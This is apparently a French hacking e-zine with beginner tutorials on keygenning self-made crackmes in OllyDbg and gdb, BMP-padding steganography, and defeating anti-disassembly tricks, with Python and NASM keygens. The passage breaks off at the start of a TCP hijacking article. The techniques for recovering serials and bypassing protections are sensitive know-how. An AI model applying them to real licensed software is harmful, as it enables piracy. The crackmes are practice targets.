Grosse erreur, le keygening ne consiste pas à répertorier des clés valides pour les redonner à l'utilisateur (on a inventé les fichiers texte pour ça :p ).
Cela consiste à comprendre le fonctionnement d'un programme en fonction de son code (le plus souvent en assembleur) afin de produire un programme permettant de générer une clé valide en fonction d'une information propre à chaque utilisateur .
Ici, nous allons étudier le fonctionnement d'un keygen-me de n-pn (que j'ai moi même codé). Je tiens à préciser que le but n'est pas de donner la réponse toute faite, mais plutôt d'expliquer aux débutants comment procéder.
Désassemblage
Bien, tout d'abord, essayons notre keygen me, on le lance, il nous demande un login, je rentre "fr0g" par habitude, étant donné que c'est mon pseudo, ensuite, le programme me demande de rentrer la clé correspondant au login "fr0g",
je tape n'importe quoi, évidemment un message d'erreur apparaît , à moins d'avoir une chance vraiment peu commune.
Fig. 1 : l'essai du keygenme
Ouvrons l’exécutable avec ollydbg, un clic droit sur le cadre en haut à gauche, et search for > all referenced Strings
On le voit dans le code c++ montré plus haut , la string "tropsimple" est un piège afin d'attirer l'attention d'un éventuel reverser, ce n'est en aucun cas une chaine intervenant dans l'algorithme générant la clé, je ne m'attarderai donc pas dessus, il n'y a rien de plus à dire.
Mais juste au dessus, on peut remarquer la chaine "ysae_os", on la note dans un coin au cas où (à ce moment-là nous ne sommes pas censé savoir si elle va nous servir ou pas .
Un peu plus bas on peut voir "Sorry, try" qui est le début de "Sorry, Try again boy :p", le message d'erreur que le keygen-me nous à affiché plus tôt.
On double clique sur cette chaine, et on se retrouve dans le code ASM du programme :
Fig. 3 : le code assembleur
Partons à la pêche
Allez, on se lance, plaçons un BreakPoint (touche F2) sur l'instruction :
00401b85 CALL 00442EEC
et on appuie sur F9 pour lancer l’exécution du programme, on entre notre login ( pour mon cas c'est toujours "fr0g"),
le programme continue sa route, en nous demandant d'entrer cette fois, la clé correspondante au login que l'on a tapé juste avant,
pour cette fois, je vais rentrer une dizaine de "A" , et là ... notre programme va breaker .
Observons bien le cadre d'en bas à droite (le cadre affichant la pile ):
Fig. 4 : le breakpoint placé
on voit clairement :
Je pense que vous avez tous compris, le "fr0g" correspond au login que j'ai entré, le "AAAAAAAAAA" correspond , lui, au serial que j'avais entré, et le "4fr0gso_easy" est notre serial, nous pouvons l'essayer .
Fig. 5 : l'essai du keygenme
Boom !!! on vient d'avancer d'un pas, on à trouvé la clé correspondant au login "fr0g", dans certains cas les algorithmes sont forts compliqués (contrairement à ces quelques crackMe pour débutants ^^ ), ici il n'y a nullement besoin d'analyser le code pour comprendre, décomposons notre clé :
4 fr0g so_easy
Il suffit d'entrer un ou deux autres logins pour comprendre que le nombre en début de clé, correspond à la longueur du login entré par l'utilisateur (en nombre de caractères), quant à la chaîne "so_easy", on se doute bien que c'est la chaîne "ysae_os" aperçue plus tôt dans les Referenced strings qui à été renversée.
NOTE :
Evidemment dans un cas réel, il est toujours préférable (pour ne pas dire indispensable) d'analyser le code pour comprendre en détails les étapes de la ou des fonction(s) générant la ou les clés valides, rien ne nous dit qu'au dessus d'un certain nombre de caractères dans le login, la clé se génère toujours de la même façon ...
Bon pour terminer ça on va coder un petit KeyGen afin de générer des clés valides pour ce keygenMe, pour cela je vais utiliser Python (3.2).
#!/usr/bin/env python3.2
# -*- coding: latin-1 -*-
##################################
# Author : fr0g
# WebSite : hwc-crew.com // n-pn.fr
# Language : Python 3.2
#
# Name : keyGen Example
##################################
#Début de la fonction keygen()
def keygen(_login):
# Déclaration de la variable contenant "so_easy"
login_ext = "so_easy"
# Calcul du nombre de caractères dans le login
# Et stockage de ce nombre dans la variable login_len
login_len = str(len(_login))
# Concaténation des différentes parties de la clé
valid_key = login_len + _login + login_ext
# Renvoi de la clé valide
return valid_key
# Appel de la fonction keygen() sur le login entré par l'utilisateur
print (keygen(str(input("Login > "))))
Petit essai :
Login > AAAAAAAAAA
10AAAAAAAAAAso_easy
Nikel ;) .
Voilà, j'espère que ce mini tuto aura appris aux plus novices en quoi consiste un keygen, si vous désirez apporter des améliorations à cet article, libre à vous de mes les soumettre par mail à fr0g <at> hwc-crew.com ou sur le forum N-PN.fr.
Cordialement, la grenouille ...
# Author : fr0g
# OS : windows
# Tools : ollydbg, (Python 3.2 pour le keygen)
> Le padding BMP
Auteur: Luxerails
0x01 - Qu‘est-ce que le padding BMP ?
Pour cacher de l‘information dans une image au format bmp, on peut utiliser le padding bmp. Tout d‘abord, voyons comment un bmp est construit (ouvrez par exemple une image bmp avec un éditeur de texte ou un éditeur hexadécimal).
BM : Header du bmp. Permet de reconnaitre le format du fichier (chaque format en a un: par exemple, le format PNG commence toujours par ‰PNG)
Les "..." représentent plusieurs informations concernant l‘image, notamment sa longueur, ses dimensions, le système d‘exploitation sous lequel elle a été crée... Ce ne sera d‘aucune utilité pour notre tuto.
image: L‘image, débutant à l‘octet 54.
L‘image est codée de la façon suivante : bvr.bvr.bvr.bvr. ...où r, v et b sont les 3 composantes d‘un pixel (rouge, vert et bleu), et où le . est un octet reservé (inutilisé, et généralement nul).
À noter que l‘octet reservé apparait que dans un bmp 32 bits, vu que 32 bits = 4 octets, donc 3 rvb et 1 inutile. Dans les bmp 24 bits, il n‘y a pas d‘octet reservé, donc un pixel = 3 octets. Il faut donc savoir que les composantes sont notées à l‘envers (bvr au lieu de rvb).
Il faut aussi savoir que le bmp écrit les pixels en partant du bas-gauche de l‘image, et en allant de gauche a droite, en remontant l‘image de bas en haut.
Par exemple, pour une image :
abc def ghi
jkl mno pqr
stu vwx yz0 (où 3 lettres = un pixel, c‘est donc une image de taille 3px sur 3px)
Le bmp l‘écrira de cette façon :
uts xwv 0zy lkj onm rqp cba fed ihg
(Pour plus de clarté, j‘ai laissé les espaces, mais il n‘y a pas d‘espaces dans le bmp). Bon, c‘est bien beau mais... le padding bmp dans tout ça ?!
Le problème dans un bmp, c‘est que il faut absolument qu‘une ligne dans un bmp soit multiple de quatre. Par exemple, dans notre exemple de tout à l‘heure :
utsxwv0zylkjonmrqpcbafedihg
Une ligne = 9 octets [=3 pixels], ce qui donne
utsxwv0zy
lkjonmrqp
cbafedihg
Or 9 n‘est pas un multiple de quatre ! Il va donc falloir rajouter des caractères afin que la "ligne" soit multiple de quatre. Ainsi, a chaque ligne, nous allons rajouter 3 octets nuls pour qu‘une ligne fasse douze caractères et douze est un multiple de quatre.
On se retrouve donc avec :
utsxwv0zy...
lkjonmrqp...
cbafedihg...
Soit
utsxwv0zy...lkjonmrqp...cbafedihg...
dans notre bmp.
(les . représentent des octets nuls)
Seulement, qui nous empêche de mettre autre chose que des octets nuls ? Je peux très bien mettre :
utsxwv0zymsglkjonmrqpcaccbafedihghé!
Pour extraire le message caché, je regarde la longueur de l‘image qui est de neuf, le multiple de quatre qu‘il y a juste après est douze, donc je coupe tout les douze octets :
utsxwv0zymsg
lkjonmrqpcac
cbafedihghé!
Et je lis les 3 derniers octets de chaque ligne.
0x02 - Avantages et inconvénients
Les avantages de cette technique sont que la taille du fichier n‘est pas modifié, et que l‘image n‘a pas a été modifiée non plus (vu que la stéganographie ne se fait pas dans l‘image, mais dans la structure du bmp).
L‘inconvénient de cette technique est que l‘information cachée est en clair dans le bmp, et ainsi, par exemple, si l‘on cache un GIF dans du padding bmp, en sachant que les trois premières lettres d‘un fichier gif sont... "GIF", on peut peut-être voir le mot GIF en clair dans le fichier si la taille du padding d‘une ligne est de trois.
0x03 - Exemple
Essayez de trouver le message caché dans cette image...
> Unix keygenning
Auteur: kallimero
Fermons la fenêtre, préparons-nous, et partons vers la banquise.
Là-bas, pas d'outils graphique, pas de belles images. Uniquement de la console. Encore et toujours.
Bon, maintenant que les fainéants et les pleutres ont disparus, nous allons pouvoir commencer.
Pour suivre ce tutoriel, il vous sera nécessaire de posséder quelques acquis en programmation ASM. Même si je vais m'efforcer, au comble du masochisme, de vous décrire point par point chaque instruction, ces acquis vous permettront de combler mes lacunes pédagogiques.
Le keygenning ayant déjà été défini dans l'article sur le keygenning windows, je préfère vous y renvoyer, plutôt que d'en rédiger une moi-même. D'autant plus que la définition me convient très bien (et que je suis fainéant).
0x01 - Les outils
Dans ce tutoriel nous utiliserons des outils basiques, qui font sûrement déjà partie de votre panoplie, puisqu'ils sont de base installés sur la plupart des distributions GNU/Linux.
Objdump, un desassembleur faisant partie de la sympathique famille des GNU binutils (qui comprend également as, ld, strings, strip, readelf, pour ne citer qu'eux). Une suite bien utile dans sa totalité, pour l'analyse de fichier binaire.
gdb, le Gnu DeBugger,un debugger plutôt complet.
Nasm (ou as) & ld, assembleur & linker, pour la création du keygen. Ou le langage de programmation de votre choix.
Avant de partir à toute allure dans des travers techniques et incompréhensibles, pourquoi ne pas lancer le joujou hors debugger, histoire de voir de quoi il retourne ?
Bon, étant donné la masse d'entre vous qui trouvent mon idée géniale, voyons ce que ça donne :
$ ./KeygenMe
--------------------
KeygenMe
By kallimero
--------------------
Pseudo : kallimero
Serial : trolololo
Registration failed.
Évidemment, ça n'a pas marché. Le contraire aurait été vraiment étonnant. Je ne suis donc pas cocu. CQFD.
On a déjà pas mal d'infos utiles:
Le fichier est linké statiquement. Le linker étant le lien entre le fichier objet et le fichier exécutable. Pour faire court, le fichier objet est un fichier intermédiaire, utilisé lors de la compilation. Il contient du code machine non-exécutable, qui nécessite l'édition des liens (d'où le nom de linker). Quand le linkage est statique, le fichier exécutable n'est pas lié à une bibliothèque externe, il est lié tout seul. Quand il est dynamique, il est lié à une bibliothèque, et ce lien est mis en œuvre au lancement du fichier.
Il est strippé. C'est à dire que toute les entêtes non nécessaires pour le bon déroulement de programme ont été supprimées.
Allez, je ne vous fait pas baver plus longtemps. D'autant que votre salive vous servira pour crier de douleur un peu plus tard.
0x03 - Désassemblons
On est parti pour se pencher sur le code assembleur. On va commencer par regarder le code gentillement désassemblé par objdump, afin de comprendre le fonctionnement intrinsèque et d'isoler la routine de génération du keygen. Le programme étant linké statiquement, cela ne devrait pas trop nous poser de soucis.
Petite parenthèse avant de découvrir le magnifique code, sur les syscalls.
De manière schématique, un syscall est un appel au kernel, pour que celui-ci effectue une certaine tâche, en fonction de paramètres (arguments). Un syscall à toujours la même structure. Sous Linux:
Numéro du syscall dans eax
1er argument dans ebx
2nd argument dans ecx
3eme argument dans edx
possible 4, 5, 6... argument(s)
Appel au kernel (kernel interrupt) int $0x80
Le numéro de syscall correspond à la fonction que l'on souhaite effectuer.
Vous retrouverez la correspondance entre fonction et numéro ici : http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html, ou dans le fichier /usr/include/asm/unistd.h
/!\ Attention objdump utilise par défaut la syntaxe AT&T. Si vous préférez la syntaxe intel (utilisée notamment par nasm et masm), vous pouvez ajouter l'option -M intel.
On utilisera l'option -d pour indiquer le fichier à désassembler, utilisez l'option -H pour connaître la foultitude d'options intéressantes d'objdump.
Je vous montre directement l'output commenté par mes soins.
$ objdump -d KeygenMe
keygenMe: file format elf32-i386
Disassembly of section .text:
08048080 <.text>:
; Premier syscall, pour afficher « KeygenMe By kallimero »
8048080: b8 04 00 00 00 mov $0x4,%eax
8048085: bb 01 00 00 00 mov $0x1,%ebx
804808a: b9 70 91 04 08 mov $0x8049170,%ecx
804808f: ba 56 00 00 00 mov $0x56,%edx
8048094: cd 80 int $0x80
; Second syscal pour afficher « pseudo : »
8048096: b8 04 00 00 00 mov $0x4,%eax
804809b: bb 01 00 00 00 mov $0x1,%ebx
80480a0: b9 c7 91 04 08 mov $0x80491c7,%ecx
80480a5: ba 09 00 00 00 mov $0x9,%edx
80480aa: cd 80 int $0x80
; 3eme syscall pour enregistrer le pseudo dans une variable
80480ac: b8 03 00 00 00 mov $0x3,%eax
80480b1: bb 00 00 00 00 mov $0x0,%ebx
80480b6: b9 14 92 04 08 mov $0x8049214,%ecx
80480bb: ba 0f 00 00 00 mov $0xf,%edx
80480c0: cd 80 int $0x80
; 4eme syscall pour afficher « serial : »
80480c2: b8 04 00 00 00 mov $0x4,%eax
80480c7: bb 01 00 00 00 mov $0x1,%ebx
80480cc: b9 d1 91 04 08 mov $0x80491d1,%ecx
80480d1: ba 09 00 00 00 mov $0x9,%edx
80480d6: cd 80 int $0x80
; 5eme syscall pour enregistrer le serial dans une variable
80480d8: b8 03 00 00 00 mov $0x3,%eax
80480dd: bb 00 00 00 00 mov $0x0,%ebx
80480e2: b9 34 92 04 08 mov $0x8049234,%ecx
80480e7: ba 0f 00 00 00 mov $0xf,%edx
80480ec: cd 80 int $0x80
; Routine obscure que nous allons élucider
80480ee: b8 14 92 04 08 mov $0x8049214,%eax
80480f3: ba 00 00 00 00 mov $0x0,%edx
80480f8: 42 inc %edx
80480f9: 80 3c 10 00 cmpb $0x0,(%eax,%edx,1)
80480fd: 75 f9 jne 0x80480f8
80480ff: bb 00 00 00 00 mov $0x0,%ebx
8048104: 81 ea 01 00 00 00 sub $0x1,%edx
804810a: 01 93 14 92 04 08 add %edx,0x8049214(%ebx)
8048110: 43 inc %ebx
8048111: 39 d3 cmp %edx,%ebx
8048113: 75 f5 jne 0x804810a
; Routine de comparaison
8048115: 81 c2 01 00 00 00 add $0x1,%edx
804811b: 89 d1 mov %edx,%ecx
804811d: be 14 92 04 08 mov $0x8049214,%esi
8048122: bf 34 92 04 08 mov $0x8049234,%edi
8048127: f3 a6 repz cmpsb %es:(%edi),%ds:(%esi)
8048129: 74 22 je 0x804814d
; Si la comparaison est bonne, au saute à 0x804814d
; Syscall pour afficher le badBoy
804812b: b8 04 00 00 00 mov $0x4,%eax
8048130: bb 01 00 00 00 mov $0x1,%ebx
8048135: b9 fc 91 04 08 mov $0x80491fc,%ecx
804813a: ba 16 00 00 00 mov $0x16,%edx
804813f: cd 80 int $0x80
; Syscall exit
8048141: b8 01 00 00 00 mov $0x1,%eax
8048146: bb 00 00 00 00 mov $0x0,%ebx
804814b: cd 80 int $0x80
; Syscall pour afficher le GoodBoy
804814d: b8 04 00 00 00 mov $0x4,%eax
8048152: bb 01 00 00 00 mov $0x1,%ebx
8048157: b9 db 91 04 08 mov $0x80491db,%ecx
804815c: ba 21 00 00 00 mov $0x21,%edx
8048161: cd 80 int $0x80
; Syscall exit
8048163: b8 01 00 00 00 mov $0x1,%eax
8048168: bb 00 00 00 00 mov $0x0,%ebx
804816d: cd 80 int $0x80
Je ne vous avait pas menti ; le code est principalement composé de syscalls. Ceux utilisés majoritairement sont :
sys_write. 4 dans eax, et 1 dans ebx pour stdout, pour écrire du texte,
sys_read, 4 dans eax, et 0 dans ebx pour stdin, pour lire du texte,
sys_exit, 1 dans eax, et un nombre dans ebx qui représente le code d'erreur. 0 signifiant qu'il n'y as pas eu d'erreur.
Stdout est le flux de sortie, soit votre écran, et stdin le flux d'entrée, soit votre clavier.
Mêlé entre les vils et rugueux appels au système, nous pouvons distinguer un sombre morceau de code, qui s'apparenterait à une routine de génération de mot de passe.
C'est à ce moment que des connaissances en assembleur sont de mises, car le keygenning, c'est avant tout de longues nuits à jongler entre documentation et langage d'assemblage, entre café et aspirine, entre jouissances profondes et crises de nerfs.
Voyons ensemble de plus près la désormais fameuse portion de bouillie asm :
80480ee: b8 14 92 04 08 mov $0x8049214,%eax
; Met le pseudo entrer dans eax (voir le 3eme syscall)
80480f3: ba 00 00 00 00 mov $0x0,%edx
; Met 0 dans edx, sûrement pour un compteur
80480f8: 42 inc %edx
; incrémente ebx (edx = edx +1)
80480f9: 80 3c 10 00 cmpb $0x0,(%eax,%edx,1)
Compare le byte numéro edx du pseudo avec 0 (byte de fin d'une chaîne)
80480fd: 75 f9 jne 0x80480f8
; Si ce n'est pas un 0, on recommence
;Finalité de cette première partie : eax contient le pseudo, edx contient le nombre de byte du pseudo
80480ff: bb 00 00 00 00 mov $0x0,%ebx
; On met 0 dans ebx, pour un compteur
8048104: 81 ea 01 00 00 00 sub $0x1,%edx
; on décrément edx qui contient la taille du pseudo
804810a: 01 93 14 92 04 08 add %edx,0x8049214(%ebx)
; On ajoute edx au byte numéro ebx du pseudo
8048110: 43 inc %ebx
; on incrémente ebx
8048111: 39 d3 cmp %edx,%ebx
;On compare edx et ebx (donc quand ebx vaut la taille du pseudo)
8048113: 75 f5 jne 0x804810a ; si ebx ne vaut la taille du pseudo, que tout les bytes n'ont été parcourus, on retourne plus haut
Finalité de cette seconde partie : On décale dans la table ascii chaque caractère du pseudo de sa taille totale.
Pourquoi je parle de la table ascii ? Eh bien parce que tout caractère est représenté par un nombre (l'ordinateur ne comprenant pas les lettres). La correspondance entre les lettre et les nombres est réalisée par la table ascii. Donc l'opération à l'adresse 804810a ajoute a la lettre traduite en ascii, le nombre de lettres total du pseudo, ce qui changera la lettre.
Nous reverrons ça plus tard.
0x04 - Debuggons
Ce terme, assez barbare pour faire rougir mon correcteur orthographique, mérite un peu d'attention pour les plus débutant d'entre nous.
Le concept est assez simple ; un debugger permet, à chaque instant, de voir ce qui ce passe à l'intérieur d'un programme (état des registres, de la mémoire du programme). Littéralement, debugger signifie « qui enlève les bugs ». Bien sûr, nous n'aurons pas cette prétention là. Nous utiliserons le Gnu DeBugger, pour d'autres fin.
Démarrons donc notre fidèle ami Gdb, toujours là pour nous aider dans notre quête de sérial :
$ gdb keygenMe
Pas besoin de re-désassembler le code ici. Si c'est votre désir le plus ardent vous pouvez bien évidemment le faire, en utilisant la commande « disass ». Ici le programme ayant été linké statiquement, vous ne retrouverez qu'une section, .text, que vous ne pourrez désassembler qu'en lui indiquant l'adresse de début et celle de fin. De cette manière :
(gdb) disass 0x08048080, 0x0804816d
Ce qui vous renverra à peu de chose près ce que nous avons vu avec objdump.
/!\ Attention, encore une fois, gdb utilise la syntaxe AT&T, si vous souhaitez qu'il utilise la syntaxe intel, vous pouvez le lui indiquer avec la commande « set disassembly-flavor intel ».
Nous allons maintenant poser un point d'arrêt – breakpoint en anglais – Sur la comparaison du serial entré avec celui attendu.
(gdb) b *0x08048127
Breakpoint 1 at 0x8048127
Pour ceux qui ne le savent pas encore, un breakpoint permet d'arrêter le programme en cours d'éxecution, afin d'examiner, à l'instant définis, l' état des registres, des flags, de la stack, etc...
Maintenant lançons le programme avec la commande run (que l'on peut abréger r)
(gdb) r
Starting program: /home/kallimero/Bureau/codes/asm/keygenMe
--------------------
KeygenMe
By kallimero
--------------------
Pseudo : kallimero
Serial : trolololo
Breakpoint 1, 0x08048127 in ?? ()
On rentre encore une fois, tel un rituel, des informations bidons.
Mais cette fois, paf !
Pas de chocapic mais un breakpoint. Notre programme est en stand by.
Vérifions l'état des registres, avec la commande « info registers » (que l'on peux abréger i r)
(gdb) i r
eax 0x8049214 134517268
ecx 0xa 10
edx 0xa 10
ebx 0x9 9
esp 0xffffd5d0 0xffffd5d0
ebp 0x0 0x0
esi 0x8049214 134517268
edi 0x8049234 134517300
eip 0x8048127 0x8048127
eflags 0x206 [ PF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x0 0
Comme nous l'avons vu plus haut, c'est eax qui nous intéresse, car c'est lui qui au début contient le pseudo, qui est ensuite modifié pour obtenir le sérial voulu par le programme.
Tâchons de l'afficher comme une chaîne de caractère, grâce au système de conversion de gdb.
(gdb) x/s $eax
0x8049214: "tjuurvn{x\n"
(gdb)
x/s : convertir hexadécimal en chaîne de caractère (string)
$eax : le registre eax. N'oubliez pas le $
Le serial correspondant au pseudo kallimero serai donc tjuurvn{x. Le \n n'étant pas pris en compte au moment de la comparaison.
Très bien. Testons donc cela (vous pouvez quitter gdb via la commande quit ou q) :
$ ./keygenMe
--------------------
KeygenMe
By kallimero
--------------------
Pseudo : kallimero
Serial : tjuurvn{x
Yeah, you win. Serial accepted.
Ah, la douce odeur de la victoire approchante et chantante.
Comme vous avez pus le voir notre ruse et notre intelligence nous a permis de dénicher un sérial valide.
Mais évidemment, ce n'est pas finis ; sinon toutes les étapes du début ne nous auraient servis à rien, et vous savez bien que je ne me serai pas permis de vous faire perdre votre temps.
Il va falloir réaliser un programme capable de générer, pour n'importe quel pseudo, un serial valide.
Afin d'accroître notre compréhension de l'algorithme, tâchons de déterminer « mathématiquement », le serial correspondant au magnifique pseudo kallimero.
kallimero a une taille de 9 caractères.
k = 107 | 107 + 9 = 116 = ta = 97 | 97 + 9 = 106 = jl = 108 | 108 + 9 = 117 = ul = 108 | 108 + 9 = 117 = ui = 105 | 105 + 9 = 114 = rm = 109 | 109 + 9 = 118 = ve = 101 | 101 + 9 = 110 = nr = 114 | 114 + 9 = 123 = {o = 111 | 111 + 9 = 120 = x
Ce qui nous donne bien tjuurvn{x
Bien sûr c'est une étape un peu artificielle que vous pourrez sauter dans le future, mais elle est ici afin de vous faire comprendre en profondeur le keygenMe présent.
0x05 - Le keygen
Écrire le keygen est normalement plutôt aisé quand la routine de génération du sérial est bien assimilée. Ce qui est bien évidemment notre cas.
Je vais personnellement en écrire un en assembleur, ce qui nous permet de carrément récupérer des bouts du code désassemblé. mais libre à vous d'utiliser tout autre langage.
;Compilation :
;nasm -f elf keygen.asm
; ld -s -o keygen keygen.o
section .data
hello: db "Type your pseudo : "
ser: db "Your serial : "
section .bss
pseudo: resb 32
section .text
global _start
_start:
;syscall « type your pseudo »
mov eax, 4
mov ebx, 1
mov ecx, hello
mov edx, 19
int 80h
;syscall qui met ce qui est entré dans la variable pseudo
mov eax, 3
mov ebx, 0
mov ecx, pseudo
mov edx, 10
int 80h
mov eax, pseudo ; On met le pseudo dans eax
mov edx, 0 ; edx sert de compteur
; On cherche la taille
boucle:
inc edx ; incrementation d'edx
cmp byte [eax + edx], 0 ; Compare avec le null byte
jne boucle ; Si c'est pas le nullbyte, on retourne en haut
push edx ; On sauvegarde edx en le mettant sur le pile
sub edx, 1 ; on enlève 1 à edx
boucle2:
add dword [pseudo+ebx], edx ; On ajoute edx au byte n°ebx du pseudo
inc ebx ; on incrémente le compteur
cmp ebx, edx ; on compare ebx a la taille totale
jne boucle2 ; SI on a pas encore tout parcouru, on retourne en haut
;syscall « your serial »
mov eax, 4
mov ebx, 1
mov ecx, ser
mov edx, 14
int 80h
;syscall qui affiche le serial
mov eax, 4
mov ebx, 1
mov ecx, pseudo
pop edx
int 80h
; serial exit
mov eax, 1
mov ebx, 0
int 80h
Schématiquement, ce code demande à l'utilisateur de rentrer un pseudo, puis il détermine la taille de ce pseudo. Et ajoute à chaque caractère la taille obtenu précédemment. Rien de bien compliqué, que vous pourrez facilement traduire dans une autre langage. J'ai essayé de le commenter au maximum.
> Contourner les protections contre le désassemblage
Auteur: aaSSfxxx
Prérequis:
Savoir manier un éditeur hexadécimal, connaître les instructions assembleur de base, avoir quelques notions en cracking/reverse-engineering.
0x01 - Introduction
Dans le monde du reverse-engineering, c'est-à-dire l'art d'analyser le fonctionnement d'un binaire dans notre cas, on peut trouver des protections différentes, allant du chiffrage du programme (ou de sa compression) à la détection de débuggeurs (outils servant à contrôler le flux d'exécution d'un programme, l'arrêter à certains endroits). Une autre technique, qui sera celle montrée ici est le fait de rendre les désassembleurs incapables de retrouver le code assembleur d'un binaire.
Nous allons donc voir ici comment analyser ce genre de programmes, et comment contourner cette protection à travers un exemple simple pour commencer.
0x02 - Premier contact avec le programme
Tout d'abord, vous pouvez télécharger le crackme
ici ). Une fois ceci fait, nous allons prendre notre désassembleur favori (IDA Pro dans mon cas, mais objdump fait aussi l'affaire). Lorsqu'on essaie de l'exécuter, le crackme nous accueille avec un gentil message "Essaie encore :þ", ce qui montre que le crackme fonctionne.
Un "file" sur le crackme nous indique qu'il est stripped, c'est-à-dire que tous les symboles de débuggage ont été retirés du binaire. Ainsi, le désassembleur va nous diriger sur _start (le "vrai" point d'entrée du programme, et non main, appelé par _start).
On désassemble donc notre programme, comme on ferait pour n'importe quel autre crackme. Il va donc falloir retrouver notre "main", étant donné que le désassembleur n'a pas pu le localiser. On s'aperçoit qu'il y a un "push offset sub_8048495" avant un "call __libc_start_main", ce qui nous indique que notre "main" est à l'adresse 0x08048495. Lorsqu'on désassemble ce "main", on s'aperçoit qu'il y a plein de code qui n'a a priori aucun sens (ou pire dans le cas d'IDA, une suite de dwords incompréhensibles lorsqu'on est en "Text View").
Nous allons donc voir ici comment pallier ce problème.
0x03 - Analyse statique du binaire
On va ici se servir du désassembleur pour comprendre comment le processeur arrive à exécuter cette bouillie d'instructions sans broncher. Tout d'abord, on commence par trouver le "main" (dans notre cas à 0x08048495). Si vous ne trouvez rien à cette adresse (mais que les chiffres à la fin sont proches), c'est qu'il y a déjà des protections contre le désassemblage (et une analyse dynamique conviendra mieux pour ce cas). Ce n'est pas le cas dans ce crackme.
On va donc analyser les premières instructions du programme:
On aperçoit ici le prologue habituel ("push ebp" et "mov ebp,esp"), l'initialisation de deux registres puis un saut vers 0x8048516.
Regardons donc cette fonction:
La première chose qui nous frappe, c'est ce "jmp eax" : on sait que notre programme va aller sauter à la valeur contenue dans eax. Or, eax est initialisé avec "0x080484A4" qui ressemble curieusement à une adresse de fonction et qu'on retrouve dans notre désassemblage (là où le code est devenu incohérent).
Le programme ajoute aussi edx à la valeur d'eax, or edx vaut 2. On a donc, eax = 0x080484A4 + 2.
Ensuite, on met eax dans edx, puis on retranche la valeur de la "fonction" à edx, qui est du coup égal à 2. On ajoute encore edx (donc 2) à eax, avant de jmp à la valeur contenue dans eax. On a donc 4 octets de décalage entre la fonction annoncée et la fonction "réelle" qui contient n'importe quoi, ce qui embrouille le désassembleur. On va donc nopper ces 4 octets afin de redonner du sens à notre code (je supposerai ici que vous savez localiser et éditer des octets dans un binaire). Sous IDA, il suffira juste de se placer 4 octets après "0x080484A4" et de presser "C", ce qui demandera à IDA d'analyser et désassembler le code.
Nous avons affaire à une deuxième protection anti-désassembleur un peu plus loin dans le code, que je vous laisserai éliminer (le code est plus basique).
Une fois ceci fait, on remarque que le bon serial est "T4pZN355" (avec un peu d'habitude).
0x04 - Avec l'utilisation d'un debuggeur
Je vais proposer ici une autre approche pour résoudre ce crackme, qui ne nécessite pas d'analyse statique (il faudra par conséquent "oublier" tous les résultats qu'on a trouvé jusqu'à maintenant).
On va donc lancer notre crackme avec gdb:
$ gdb ./demo
Le premier problème auquel nous sommes confrontés sont les symboles supprimés, ce qui nous empêche de poser un breakpoint sur _start ou sur main. Qu'à cela ne tienne, on va poser un breakpoint sur __libc_start_main, puis regarder la pile des appels pour revenir à notre fonction parent.
Cela nous donne quelque chose comme ceci: (à noter que j'utilise un .gdbrc permettant à gdb de ressembler à softice, merci à Xylitol pour le script)
gdb $ break __libc_start_main
gdb $ run
Notre programme break donc dans la fonction __libc_start_main, et comme promis, un coup de "bt" nous permet de revenir à la fonction appelante, avec ceci:
gdb $ bt
#0 0x4ad8b5c0 in __libc_start_main () from /lib/libc.so.6
#1 0x08048391 in ?? ()
L'adresse qui nous intéresse ici est 0x08048391, qui est l'adresse de l'instruction appelée juste après le "call __libc_start_main". On va donc revenir de quelques instructions en arrière, pour récupérer notre adresse de la fonction "main" (en diminuant la valeur trouvée, au pif pour moi 0x08048380):
L'adresse qui nous intéresse est le push effectué juste avant le call, qui est l'adresse de notre main(). On va donc poser un breakpoint dessus, et continuer notre petit bonhomme de programme:
Nous sommes ici face à notre prologue habituel, puis le programme met certaines valeurs dans edx et eax avant d'effectuer un saut. Malheureusement, après ce saut, les instructions semblent être devenues incohérentes, et on se dit qu'il y a une protection anti-désassembleur dans le coin.
On va donc exécuter le code pas à pas jusqu'au saut (à coup de nexti), afin de regarder plus en détail ce qu'il se passe.
Une fois le saut effectué, on se retrouve face à ceci:
Le programme effectue des calculs plus ou moins bizarres avec eax, avant de sauter sur la valeur contenue dans eax. On va donc poser un breakpoint sur le jmp, continuer l'exécution du programme et observer la valeur de eax (et ainsi nous épargner de fastidieux calculs :þ). Lors du break, on voit que eax vaut 080484A8 (ce qui correspond effectivement au 080484A4 + 4 de la partie précédente). Un petit coup de nexti nous permet ainsi de sauter sur l'adresse contenue dans eax, où notre programme a une tête plus sympathique:
0x80484a8: push 0x8048430
0x80484ad: call 0x8048330 ; appel à la fonction printf
0x80484b2: add esp,0x4
0x80484b5: mov eax,DWORD PTR [esp+0x8] ; on récupère le premier argument passé à la fonction (ie argc pour main)
0x80484b9: cmp eax,0x2
0x80484bc: jne 0x80484ff
On voit clairement que notre programme affiche un message (sûrement de bienvenue), puis récupère le argc pour le comparer à 2: on peut donc se douter que notre programme attend un argument (l'argument 1 correspond au nom de l'exécutable lui-même). On va donc avancer jusqu'au jne, pour voir le code qu'on exécutera pas (étant donné qu'on a pas passés d'arguments au programme).
Lorsqu'on regarde le désassemblage, on peut voir cela:
On est clairement face à une deuxième protection anti-désassembleur. On va donc poser un breakpoint sur le "jmp ebx", puis relancer notre programme avec un argument (sûrement notre mot de passe). On va quand-même supprimer nos vieux breakpoints qui vont nous ralentir, avec "info breakpoint" et "delete id", où id est le numéro devant le breakpoint.
Relançons donc notre programme avec un argument (avec "run toto" par exemple), et le programme break comme prévu sur le "jmp ebx". On fait donc un petit coup de "nexti", et comme par miracle, on tombe sur un joli strcmp, ce qui est une routine de vérification du mot de passe:
Regardons donc ce qu'il y a à l'adresse, 0x804848c (avec "x/s 0x804848c"), et on trouve comme par magie "T4pZN355", qui est le passe de validation.
0x05 - Conclusion
Nous avons vu ici comment contourner une protection "basique" à l'aide de deux méthodes différentes. Evidemment, le programme analysé est élémentaire; cependant, ces techniques sont aussi couplées avec d'autres tricks tes que les anti-débuggeurs ou la compression du code, ce qui rend l'analyse plus difficile.
J'espère malgré tout que cet article vous aura ouvert de nouvelles possibilités, et qui sait, permis de trouver une méthode pour résoudre un problème plus délicat.
That's all folks ! :þ
> TCP Hijacking
Auteur: storn
0x01 - Qu'est-ce que TCP
Le protocole TCP (Transmission Control Protocol) est un protocole utilisé pour transmettre des données
entre une machine A et une Machine B.
